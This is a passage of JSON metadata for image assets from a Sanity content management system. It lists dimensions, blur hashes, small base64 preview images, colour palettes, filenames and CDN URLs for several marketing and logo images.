FSI.png","path":"images/sczeoy4w/production/5cb064c109909b6ab1e160194e90f9794f01aaa6-2400x1256.png","sha1hash":"5cb064c109909b6ab1e160194e90f9794f01aaa6","size":524443,"uploadId":"wMfgWmf46AW5bNfd7UXb6aF20JHVrkcg","url":"https://cdn.sanity.io/images/sczeoy4w/production/5cb064c109909b6ab1e160194e90f9794f01aaa6-2400x1256.png"} {"_createdAt":"2022-10-25T08:44:25Z","_id":"image-5cc3d54206f568cf09120a6548f28ed36f3167ed-1316x383-png","_rev":"4DA7uzMe7PWND6MELrzDRl","_type":"sanity.imageAsset","_updatedAt":"2022-10-25T08:44:25Z","assetId":"5cc3d54206f568cf09120a6548f28ed36f3167ed","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D9S$ZGZ2rs_3ox?^kWQmmloe","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.436031331592689,"height":383,"width":1316},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAIAAABM9SnKAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA8UlEQVQYlU3O626CQBhFUd7/0UyjvYjaGNtqBEcElIGZ7z40aEy7kvNzJyfr3alxrqnr7nqL3UARkRGVJKklE1VmJiKcBhIGCR5CiDEiYkbnEl1JlQNX+f25OZ7L5lQM7kYehFhFzfRBGAEwBgCId5mt57Z8SR9z/dz0X0V1PB8uxd4XdWx7DMgkdypiwjgBesp0t7JtnrYrO/xg3fjL5VqV17r0bRX6jugR8xSrCE8eP8ws497L0GsYDKJ0LXxvQr6Iy0VY5+BOCjEJJ5FkNqY/412GSMxsZsnMfKu7pb7P9HWm+Zu6MkEYGUfh8Rn89wuBKFcJX9ZYQQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4e3446","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1ab73e","foreground":"#fff","population":0.07,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d6a0a2","foreground":"#000","population":0.72,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d6a0a2","foreground":"#000","population":0.72,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcb484","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5a9163","foreground":"#fff","population":0.27,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f16533","foreground":"#fff","population":0.05,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"5cc3d54206f568cf09120a6548f28ed36f3167ed-1316x383.png","path":"images/sczeoy4w/production/5cc3d54206f568cf09120a6548f28ed36f3167ed-1316x383.png","sha1hash":"5cc3d54206f568cf09120a6548f28ed36f3167ed","size":24692,"uploadId":"cw8gbvbJgxnhhwayIqwz99koaiBRYaEF","url":"https://cdn.sanity.io/images/sczeoy4w/production/5cc3d54206f568cf09120a6548f28ed36f3167ed-1316x383.png"} {"_createdAt":"2023-11-22T10:57:52Z","_id":"image-5cc4252d2e5b50b3f7adb778cfb09aa8c0e04634-1920x1357-png","_rev":"BjY9n6joNYFLmv1rs1TWNX","_type":"sanity.imageAsset","_updatedAt":"2023-11-22T10:57:52Z","assetId":"5cc4252d2e5b50b3f7adb778cfb09aa8c0e04634","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V9R3QO00000000IUxu%MRPM{~qRj00?b%M?vWBIUa|t8","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.414885777450258,"height":1357,"width":1920},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAAA7EAAAOxAGVKw4bAAABv0lEQVQ4jZ2TXU8TQRSG+Rv9Z/0l3ukdFyYmcgVXmKgRDKDFQCLghRFNalsKFVrrAoUS227d7ve20Nnd9jEzWlw32lRP8uZkP+aZ95w5M5fJZMhmsxQKBeI4ZjQaqTyRfE4qTnwPo4jBYIBpmhiGgeu6zCWBcsF4PP4tx1GIuLlmeN1HDG+IwlDBhBAEvo9t2wom5TjOL2CxWFQQGTJLhWKIqbfQKiWOP+5TL+dpVI9oNU4xOi1sy1SupDzPU27/CpTufM9FOz5kf+cVe7nn7G48Y3ftCe+2X1AtF7B6BuFPx5P2THU46Pf5etXktF7j7MtntNoJ1aMStcoBVxfnBL6nIMmYXnIo6BldzrQ6Wr1G8+KcbqeNY1sEgY8Qw9t/J5oK7AcBJ5UDXq4+5tHSAk+XF9nOrZF//xatXsV1nFuHMwE9z6VyWGJzfYXFhfvM37vDg/m7LC895M3OFnqn/W9AORqWZdK8bFDIf2BzY5Xc+gp7r7f4VCnjus6PNbOWPDntKIrUzH3r6uh6W82c7/vq/XjWHqYjucFEadh4Fod/UnKTdPwXMN0SOdxChKoFM5ecLj15cLYl73MP1/X4DuK56FcVSTqnAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3a2d23","foreground":"#fff","population":0.74,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#50220c","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3a2d23","foreground":"#fff","population":0.74,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cac5ba","foreground":"#000","population":0.25,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d5b1a4","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ac755e","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a4644c","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Untitled design (6).png","path":"images/sczeoy4w/production/5cc4252d2e5b50b3f7adb778cfb09aa8c0e04634-1920x1357.png","sha1hash":"5cc4252d2e5b50b3f7adb778cfb09aa8c0e04634","size":625242,"uploadId":"Ge7BRjnhTYwwNNvUXzLXgKlXtCxnPXdH","url":"https://cdn.sanity.io/images/sczeoy4w/production/5cc4252d2e5b50b3f7adb778cfb09aa8c0e04634-1920x1357.png"} {"_createdAt":"2023-11-08T09:20:36Z","_id":"image-5cd34229a3c3584a87b3e8561d9128e3a14bec20-1200x628-png","_rev":"YgPujUcKQ2JSpcKSYXv2Fc","_type":"sanity.imageAsset","_updatedAt":"2023-11-08T09:20:36Z","assetId":"5cd34229a3c3584a87b3e8561d9128e3a14bec20","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MCAco@5f=~MtA1%ji[Ob#jI@DhR-acxvbZ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACmklEQVQokW3PyVOSAQCGcc7VNBO7fEDIqvkpCIKAKYiaC4oK4laUueXeoqksgrsiOo6XDm3T1EznunRounTp0KlTXapb/RtPI9V06fBef/O8Eqk6ht50lTL7JKJrDpt9Fp11Co1pGq1lAb1tkYvly5RWpDBUZLFWpIh6EzzodvNqxMfxfJ57yU8MT33EE3qJRC4MUGafwB9cJNSepjmco75lDW8ggze4jje4RW1wh/orBXyhIxyuDFHvMLvhJh6PDHK88pzc3neml7/QGHmNRKEbxO6ZpakjRWd0k9hQnu7+PO09+7R07uNr3KLav0FtcA9XfR6xOkMsMMlhYpTjmRy51bfkDn5wO/OV1r43SJS6Iaq987SE04R7N+iO79IV2y+CzeG9YqHDt47Dt4no2aHckaUjMMNaYozUZI6FxXek8z//gYo/YFtkjUjfFpH4Lj39B0TihWJhsG2fxvYCgbZD6pqPqPJkqaqM0+D00VTfzbWbz0hvf2Nu5TOh08ty7e/LzR1pWrtyhHu36R0sFEF/aAOxJo3oziJ6NhDd25jEJVSaINILakq1Nm60TXFy+wnJsRc0BB8iuaCOYywbodI1TWXNHA7vPWour+DyJ7Hal9CY7qAqvUuJ6T4aS4oS4zxSZR1nzsowylWkakXex+p41NlPe20WiVQZxaDrw2pNYLo0jtYyjspwuluoDbOoDAtFUG1cosR8Ct5Bpg5x7ryAWaFl3WnkQ6uBp6FGOt2rSGTKXszaKJdsCSziBBrTGFJhBKkwjkI/jfIveFpoTqExr6LSX0eqDmHRtzDmDFNoCDNfN4rfuY3kvCKKTBVDKQyg1F9Drr2OTLiJXDfxHzCJYF1DsKYRLMuYypJ47BkCrixu5x42+wm/AM5qfW3VwNbJAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3f4572","foreground":"#fff","population":1.45,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141e6c","foreground":"#fff","population":8.08,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#141e6c","foreground":"#fff","population":8.08,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d5cfdb","foreground":"#000","population":6.95,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8089e8","foreground":"#fff","population":6.95,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c5c7b","foreground":"#fff","population":3.29,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e05a16","foreground":"#fff","population":3.89,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Workshop-Netlify-Matty.png","path":"images/sczeoy4w/production/5cd34229a3c3584a87b3e8561d9128e3a14bec20-1200x628.png","sha1hash":"5cd34229a3c3584a87b3e8561d9128e3a14bec20","size":260337,"uploadId":"nWu6szuyKGUQdLa7J1CzSTXGpyiiOOL5","url":"https://cdn.sanity.io/images/sczeoy4w/production/5cd34229a3c3584a87b3e8561d9128e3a14bec20-1200x628.png"} {"_createdAt":"2022-06-30T19:58:51Z","_id":"image-5cdb0425df7de69abee2f743739761770561d7b3-1001x266-png","_rev":"StyfnzRSyhTCbsBlPUlQrK","_type":"sanity.imageAsset","_updatedAt":"2022-09-17T20:45:28Z","assetId":"5cdb0425df7de69abee2f743739761770561d7b3","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D04.6$xv4qx[%14=Rjs*WFx]","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.763157894736842,"height":266,"width":1001},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAIAAADKYVtkAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAo0lEQVQYlW2PWWrAMBBDc5V49tV1CO39b9Y6XSil8EAf0gjNQaQAfJ74wxgEQEwi4syGKGPQH84nefxrE5EpCwsi01ZG5G0Bwa/Y1zEAf0OElM6rpUJMpduuKyKUWEiERZB4wO46ROxBH0zFwmy13y++ps22+86317pWRLpneIaofo49VD2iKrKyMruqZ9WavWZ3RoZ3epdXeoSbb1T32I+f3wFSBy4VKFgwfgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#443424","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#17150b","foreground":"#fff","population":0.22,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#17150b","foreground":"#fff","population":0.22,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8e8c90","foreground":"#fff","population":0.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d4cca5","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#848184","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ac9d52","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"5cdb0425df7de69abee2f743739761770561d7b3-1001x266.png","path":"images/sczeoy4w/production/5cdb0425df7de69abee2f743739761770561d7b3-1001x266.png","sha1hash":"5cdb0425df7de69abee2f743739761770561d7b3","size":23591,"uploadId":"0iwCxdbIVe47xddTfW1MaTA8WTEpXXho","url":"https://cdn.sanity.io/images/sczeoy4w/production/5cdb0425df7de69abee2f743739761770561d7b3-1001x266.png"} {"_createdAt":"2022-09-02T16:41:41Z","_id":"image-5d28217416be069b4fb8ca4523256d97b29d0fe0-224x231-svg","_rev":"i4rt3ANhEPnepa7hEgMD0p","_type":"sanity.imageAsset","_updatedAt":"2022-09-02T16:41:41Z","assetId":"5d28217416be069b4fb8ca4523256d97b29d0fe0","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"e9JuZE%M00t700IAIB.8.8IB]@Rj0JRPXN_M?v0000.800of00x[RQ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.9696969696969697,"height":231,"width":224},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAVCAYAAABG1c6oAAAACXBIWXMAAAsTAAALEwEAmpwYAAAFdUlEQVQ4jS2Uf4hdRxXHZ7vZlPozifpHFKlKW9MfxIIoNYgIItaKKWwRpDZY3VTU1p+IgWiFSK0NtVhsYrFSKkkabE1os+m2zVp392V35t6Zc+b3vbtv332vu+/e7cZNNzZmX+7r7r7tk3lxYGAYZj6c8z3nfAkTSCgHYnxKIpDh/G7K4RYmcG8EeCwCWY1AtiLAlUhgygQ+wwR+m3LYQTlcI5QhfrpKAueV18ZID3b61X+Gi01M4LWRwG/GqP4CynBp3KJyvpTGvQPabqCxl9G4BdCGcakPx6juYgI/EgH2P/n030gESEhanSVTsRhgAm+MUe0TylBp/VvGpxs2me6YJG1pl1xQzl8wPm2ZJO0Yn3bCHRo3waX+WQTy+iku+rVLehH2MYE3xKh+A9om2iWrJknXjE9zZf0YGvs0aPMoavsHNO4ZadyEdskbNpleNz5dldZr0PaXXOqPTUa8LwA/FAn8oVBGK+vDoxXlPANtD8SovsIE7qAcP8pEb98UgbyDS/0wGie0Sy4bn65J6ziX+juUw5YA/BoTOMylLtG4oNe4UGYo6Fmh8QBo0xMclCHtokXOsngzQ7yeK/1TNDaWxr0tlFmJQD5HOXwxAP/MBM4zgRsxSBej+lGMcnucaHL85IskBhk0JiIxfYf2HiZzncX+rMyvS5fqQ7Lqj8dS5UxghwmsUQ6/D8CjlAOlHCLK4SDlcHNlnPW9NnWWnKlMkEf++Dh56vkjJCyzNNNfu9zckZX5r7IyH03P118V3oxQgeHvGBV4OADvoBwHKcfdlONOYc17QhTL3Ut937h7D+l2uz1Yp9vtn1tf/GS9Xfy63i581s7P1Vaaz5q56XuYwK9TgbupwC8RynEzE7h5KoKB6eXGe7MyvyUr8128aa/9yb59W+65d++27z3w4w8ee/nErawhH/TLNVdrNc/X28WprMwHq2/NfYABDjDocQbI+L8oiaQky90Wycr8pnq7eDgr8xO8afY/cujxO4d+cP9X9//ut3ueev7IEycnRqbHEnrevjl7qvH2wmCt1dxa7zZJpRKTs5O8VzzyfnINcUWVNFYXrsrK/LP1dnE8K/MlszQzc3Ji5OgTR/766LGRf5waZmcWTrPR5dPR6PBUBoPNjX9vfXb4BMExQ0ZfGicUoDd1V0YOcJOwZtPspfntWZkPZWVeqa7MXTRLM69D4bg6lxb2fPWCXExPTc6KwVFd2dbpdomeSfq40v0hVSpggHLYFKhfoBy+TDmEJr7N5tWdWZnvrbeLiXq7uFhvF2W9XbwZNGusLgzOr5/bFgoVKXkV5bCdcvh86GXK4fZwDsDHmMCRCORUDPLvEco9Nq9+qt4uhurtYjwr8zeyMh/OLud3za7Mb+vWuoRqIDGqD8eo7otAvsCutM1LlMOBAPxFBBKFMmto3H+FMmcikPfqRvq52krzu1mZH6i3i92NtYUtat6TyZhfHYG8DpT5vjSugtq2YlSrTOAk5XBfAN7IpT6orG8an76jnL8E2kzFqB4SznxLZentOON2MoGfYAJ3xqjuBG0OKudB+6QlrdvgUmdM4IOUw8cDcIBLfRtq+6SyPv+/Pa0p6wvUtgLaHgFl/iSUOQTaHpfWU+PTRZOk68r5DijTiEEG2W6lHPoJlzpU+l0xql1Cmcek9b7nez7tBk/ULimV9ReV8xeNT0ubTG+ETKR1l4QyMgL5EBP4acrh6nS2Rnq235jLAzRoczNHFazsOdQ2kcb9B41bR2270vqucsmaNG4ZlDExqqNM4BDlcEOYtBdePnOlD8+yOFSMnFtaCq7SRzlsZQJ3MYH7I5BjEcgLEchOHDbKpQjkK0zgzymHz1AO72MC+2brr/dgAfg/VH2nhSgkKFoAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#314434","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#040c08","foreground":"#fff","population":0.42,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#040c08","foreground":"#fff","population":0.42,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4c1b4","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dcf9ec","foreground":"#000","population":0.22,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#74897e","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3fbf7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"gdpr-e03f0d81f3c8b8fcfe3b44b6592d8f69.svg","path":"images/sczeoy4w/production/5d28217416be069b4fb8ca4523256d97b29d0fe0-224x231.svg","sha1hash":"5d28217416be069b4fb8ca4523256d97b29d0fe0","size":22465,"uploadId":"jeoglHI28GrAoHFAGkhPjQQ4m6vVTYcx","url":"https://cdn.sanity.io/images/sczeoy4w/production/5d28217416be069b4fb8ca4523256d97b29d0fe0-224x231.svg"} {"_createdAt":"2022-06-30T19:57:19Z","_id":"image-5d48aeb9a8e05fc4aadc6d0f0ed3d81a84f48b51-400x275-png","_rev":"QRl2cGoCgj0FlAhkRrhfCI","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:17:57Z","assetId":"5d48aeb9a8e05fc4aadc6d0f0ed3d81a84f48b51","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VqKBXWNG9FR*IU~qoeMxoeRjj[f6xuj[ofIUay%Mj[t7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4545454545454546,"height":275,"width":400},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAAAsTAAALEwEAmpwYAAACw0lEQVQ4jZXS3UtTYRwH8PMPBFFhBr1IYoQgXgRGYJqkKc5N1CailqZkF1qS3hTu5cxh2l6UaCSJEeh0EAskoTtB1ECyxNbmfGG6TafGJr7uxW39vnHOlmkXYRcfnuec8+PLc77nMOOfJ2j86xeamJrCN4uF5ubnsbi4CLvdvs/pdMDpdGJp6S9OJxwOBy0s2DA7M0MWi4WYp+p2eqJuJ4XuFfQDH2h8YgImk+kQs/k7pqctsFqnYbVa91ez2YyRkREyGo3Q9/aSXt9LTGppJVLEZcitqaNOwzvM2WxYWVnB8vIyXC4Xb211FW63Gx6PJ8LtxrrHwz8bGhqCVqsluVwOpVIJJjm/mBKy8yntTjXeGAfoh8eDnV0vtnd24fX54PP7EdjbQzAURigcEQyHESbCrteLsbFPpFKp0NTURCzLEpMkEiP+lgipZVXoNg5gzbOObS7Q64N/Lwh/MIQAJxQVDMEfCCDg9WFrYwOjo2NQqdRcIBQKBZhEoRhxWUJcK61C9/sBrG9uIRgKYS8YjJ7o5yHcSf3bO/C5XNi0OzA6PHw48HKeGBcyRbgivovWrrcwz8zy3XAdHvS7T27vsNlgN5kwPzmJj4ODaG1r+xOYkFuEczeFiM8pREFdI9o7X6PfYIDBYEB/fz+P2x/E3+vrg76nBzqdjg+SSCSRwIs5hTiTkYfT6QIk55egur4BrEKB5uZmfoBb/4VlWchkMnBfmbtmzmcXISZDiJPpAiQKi1FRVw+pNDLwP1iWjfw2Z7Nv06kMEZ24IUSiqIQqHj6GLDpwRBQNJKVSSUxsViGOpwtx7LqALgmKUV5bD4lUCrlMxr/KEZGcq6elBUycoIRis4ooJrMASQXldK++EXKW5fs7IlJwfbY9p2cdL4hJq6ylq+UPKKWsBjn3H1GDVAGVWg2NRnNUpNFqoXmpo46ubvoFEVMbumj1h+EAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#454041","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#19404c","foreground":"#fff","population":16,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":24.09,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#aac5c8","foreground":"#000","population":0.44,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d09084","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":24.09,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#da595b","foreground":"#fff","population":0.18,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"5d48aeb9a8e05fc4aadc6d0f0ed3d81a84f48b51-400x275.png","path":"images/sczeoy4w/production/5d48aeb9a8e05fc4aadc6d0f0ed3d81a84f48b51-400x275.png","sha1hash":"5d48aeb9a8e05fc4aadc6d0f0ed3d81a84f48b51","size":20519,"uploadId":"7BzDkBY6ZFs9tvFC8i9wF3C0D4N5HaPQ","url":"https://cdn.sanity.io/images/sczeoy4w/production/5d48aeb9a8e05fc4aadc6d0f0ed3d81a84f48b51-400x275.png"} {"_createdAt":"2022-06-16T22:53:45Z","_id":"image-5d603e3dbdd4205272fd6bd44d2bad0511a54721-225x110-svg","_rev":"0HOthdQkSgJdYc0C9vxTaB","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T22:53:45Z","assetId":"5d603e3dbdd4205272fd6bd44d2bad0511a54721","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M50EtRh2dCh2gOdCendVg*gidCdoeSg*gP","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.0454545454545454,"height":110,"width":225},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsTAAALEwEAmpwYAAABcElEQVQokXWSTUvVYRDFf76AluAiF0aQ5aJFGZgLM5E0a+FbYBZRlBqivQiiiRIZSNRCKRcF4sfo6MeJc/swMs+de1t4vfDA5cyZc87M/EEVOK6A3Pj9r/UgLyJPIF+s18/8aoWTfw3EaoJF9CbyF+QF5M4GhhRevbEKtiX5AnJTwf78rdWGkX8iv0LuOHciqn9akK8g30N+iDyA3FUVLQnC5CXyHvL9wj9vTcityDeQnyHPZ4I3yHeQ25G7kWdSbA35emJXc5LmNLxU+Mi3ctnxxnJHm8hDyH2JHyIfZfo4zvM0v4Z8OQ2jbzwE15E/5LiPkLezIXa2gvwN+TfyBnIv8t1M+xG5H3kU+S3yp8JF/oX8OAWDFOlGcvSvyDvIP5Bf52oiSRwnVvQgxZ4ivyh4Nk0jTyEv5/LnEv+OvIX8OQ0mc6LAniAvpWFMGG81BN+n2yDy7STG2AfI+3mguOxsmkWaSBWiIb6b3HfxrZ4CUvtZV29kDmYAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#284456","foreground":"#fff","population":0.15,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#044984","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#08aef5","foreground":"#fff","population":0.71,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#125486","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3c9ce4","foreground":"#fff","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#518a9c","foreground":"#fff","population":0.1,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#08aef5","foreground":"#fff","population":0.71,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"adeo.svg","path":"images/sczeoy4w/production/5d603e3dbdd4205272fd6bd44d2bad0511a54721-225x110.svg","sha1hash":"5d603e3dbdd4205272fd6bd44d2bad0511a54721","size":2305,"uploadId":"5elieoKdjyD1bJPbGgIK5G3KXWRiOnxc","url":"https://cdn.sanity.io/images/sczeoy4w/production/5d603e3dbdd4205272fd6bd44d2bad0511a54721-225x110.svg"} {"_createdAt":"2023-03-17T12:54:46Z","_id":"image-5dd79061ff5ad5d9ef7def695929d3bc91e97c04-2667x1500-jpg","_rev":"0lF4kyZBi1fr8QymZ9L0Jl","_type":"sanity.imageAsset","_updatedAt":"2023-03-17T12:54:46Z","assetId":"5dd79061ff5ad5d9ef7def695929d3bc91e97c04","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MOCX:g2vog|?1N2u],W;E*;fNLs+smJBxC","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.778,"height":1500,"width":2667},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAYDBAUH/8QAIhAAAgICAgAHAAAAAAAAAAAAAQIDEQAEBQYHEhQhMkFR/8QAFQEBAQAAAAAAAAAAAAAAAAAABAX/xAAfEQACAgIBBQAAAAAAAAAAAAABAwIEAAURMTJCgZH/2gAMAwEAAhEDEQA/AOOvt8b6FEGoxnqixNZJ1rgZedlmSF0jEYslsomigsD4/mMHhy7Lyk6qxAKe4y5sGMVWnNJ4kPeG1FZdu6tDe2R4xZ3tV9TbkgkFOh8pwzV7kAOwbFfdHDEV2FiozPUgYa7WFewxI8SR8Of/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#421e1d","foreground":"#fff","population":0.25,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":60.91,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":60.91,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4b898","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcb45c","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#56729b","foreground":"#fff","population":1.15,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa621b","foreground":"#fff","population":8.21,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Data_Pipeline_Innovation_Series_Part_1_YouTube_thumbnail_1280x720px_V2.jpg","path":"images/sczeoy4w/production/5dd79061ff5ad5d9ef7def695929d3bc91e97c04-2667x1500.jpg","sha1hash":"5dd79061ff5ad5d9ef7def695929d3bc91e97c04","size":595794,"uploadId":"UpdCxWo34p68ahzx2tdkryLMtiKVz86q","url":"https://cdn.sanity.io/images/sczeoy4w/production/5dd79061ff5ad5d9ef7def695929d3bc91e97c04-2667x1500.jpg"} {"_createdAt":"2022-06-30T19:57:33Z","_id":"image-5dd8ab99768ef60a566936cee0099263f3dc60db-640x371-png","_rev":"LKSVNTHAdZDLniZ7u2CQOd","_type":"sanity.imageAsset","_updatedAt":"2022-07-13T00:55:11Z","assetId":"5dd8ab99768ef60a566936cee0099263f3dc60db","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M3PQNo00000000%#W9?]%0%f00pcwf_3%L","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.725067385444744,"height":371,"width":640},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAACQElEQVQokU2RzUtUYRTG7x+RkJsKgqhN1KLogz6IkmhRBC4U2lSrNu3FppDEUKSs7F4/MRydsbCsfyCijUaj4miTOlNgw+T9vu8597wfd1bxzkd0eBbv4v095zznGJ1jc3en3t2Zmr+f+Zj9vLiaLxS+b5a2S7+KP0tb28WtYnnnt7Nru7bj7tr/5O3anu0YHaPZztG5dnP2Xnoh/WX502opV9gp/7F913Md13W9IAhZxBAgRvxfhLFx8+X09a